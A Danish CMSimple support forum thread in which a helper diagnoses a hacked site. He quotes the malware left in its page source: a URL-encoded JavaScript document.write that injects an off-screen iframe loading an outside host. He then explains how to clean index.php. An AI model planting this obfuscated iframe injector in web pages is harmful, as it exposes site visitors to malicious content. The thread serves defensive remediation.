Login problemer

Et CMSimple support forum for dansktalende brugere og udviklere

Moderator: ZiPs

Post Reply
Erdo
Posts: 41
Joined: Sat Oct 29, 2011 7:56 pm
Contact:

Login problemer

Post by Erdo » Sat Oct 29, 2011 8:05 pm

Efter et ´angreb´ af en trojansk hest, og efterfølgende rensning, kan jeg lige pludselig ikke login på min hjemmeside www.topfyn.dk
Jeg får fejlkoden: Fejl 401: - Uauthoriseret - hvilket betyder at jeg er nægtet adgang til Serveren.

Hvordan kan man afhjælpe denne fejl?

Hilsen

Erdo :(

cmb
Posts: 14225
Joined: Tue Jun 21, 2011 11:04 am
Location: Bingen, RLP, DE
Contact:

Re: Login problemer

Post by cmb » Sat Oct 29, 2011 8:40 pm

Hej Erdo,

Undskyld, jeg har dårlige nyheder! :( Den trojanske hest er ikke fjernes! Tag et kig på din HTML-kildekoden:

Code: Select all

<Script Language='Javascript'>

<!--

document.write(unescape('%3C%64%69%76%20%73%74%79%6C%65%3D%27%70%6F%73%69%74%69%6F%6E%3A%20%61%62%73%6F%6C%75%74%65%3B%20%6C%65%66%74%3A%2D%39%33%25%3B%20%74%6F%70%3A%33%25%3B%20%77%69%64%74%68%3A%36%39%25%3B%20%68%65%69%67%68%74%3A%36%39%25%3B%27%3E%3C%69%66%72%61%6D%65%20%73%74%79%6C%65%3D%27%77%69%64%74%68%3A%36%39%25%3B%68%65%69%67%68%74%3A%36%39%25%27%20%77%69%64%74%68%3D%27%39%38%25%27%20%73%63%72%6F%6C%6C%69%6E%67%3D%27%6E%6F%27%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%27%6E%6F%27%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%27%30%27%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%27%30%27%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%34%35%75%2E%68%6B%2E%6D%73%2F%69%6E%64%65%78%2E%70%68%70%27%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%64%69%76%3E%0A'));

//-->

</Script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
Dette indsætter et IFrame! :evil:

Christoph
Christoph M. Becker – Plugins for CMSimple_XH

Erdo
Posts: 41
Joined: Sat Oct 29, 2011 7:56 pm
Contact:

Re: Login problemer

Post by Erdo » Sat Oct 29, 2011 9:59 pm

Hi Christoph

Uha, Uha - hvor skal en amatør som jeg, indsætte hele den kode, når jeg ikke kan få adgang til min side?

Erdo

Erdo
Posts: 41
Joined: Sat Oct 29, 2011 7:56 pm
Contact:

Re: Login problemer

Post by Erdo » Sat Oct 29, 2011 10:16 pm

Hi Christoph

Kildekoden er nu fundet, men jeg har ikke forstand på hvordan du kan se at den trojanske ikke er fjernet, men hvad skal jeg gøre for at få den fjernet?

HTML-koden er det alt det der står i linien med tal og % tegnene? - Hvis hvad skal der stå istedet for?

HJÆLP - jeg er en simpel amatør.

Erdo

cmb
Posts: 14225
Joined: Tue Jun 21, 2011 11:04 am
Location: Bingen, RLP, DE
Contact:

Re: Login problemer

Post by cmb » Sat Oct 29, 2011 10:33 pm

Hej Erdo,
Erdo wrote:HTML-koden er det alt det der står i linien med tal og % tegnene?
Du kan dekryptere dette med http://www.web-code.org/coding-tools/ja ... -tool.html

Jeg gætter på den skadelige kode i index.php. Fjern script fra denne fil. index.php bør kun indeholde:

Code: Select all

<?php @include('./cmsimple/cms.php'); ?>
Jeg er ikke sikker, hvis dette er nok. Den malware kunne have smittet andre dele af din hjemmeside, og endda din pc. Jeg kunne ikke finde mere information på internettet. :roll:

Men hvis script-kode, vil blive fjernet, sandsynligvis login vil arbejde igen.

Og undskyld for mit dårlige dansk. Alt er udført med translate.google.com. :roll:

Christoph
Christoph M. Becker – Plugins for CMSimple_XH

Erdo
Posts: 41
Joined: Sat Oct 29, 2011 7:56 pm
Contact:

Re: Login problemer

Post by Erdo » Sun Oct 30, 2011 4:24 pm

Hi Christoph

Mange tak for dit løsningsforslag fsv. angår index.php - det virkede 100% og jeg har nu fået fuld adgang til min hjemmeside www.topfyn.dk.

Mht til dit dansk syntes jeg du kan være stolt over at du kan oversætte mine spørgsmål, jeg kender jo ikke din nationalitet, men mange tak for hjælpen.

Mvh

Erdo

Post Reply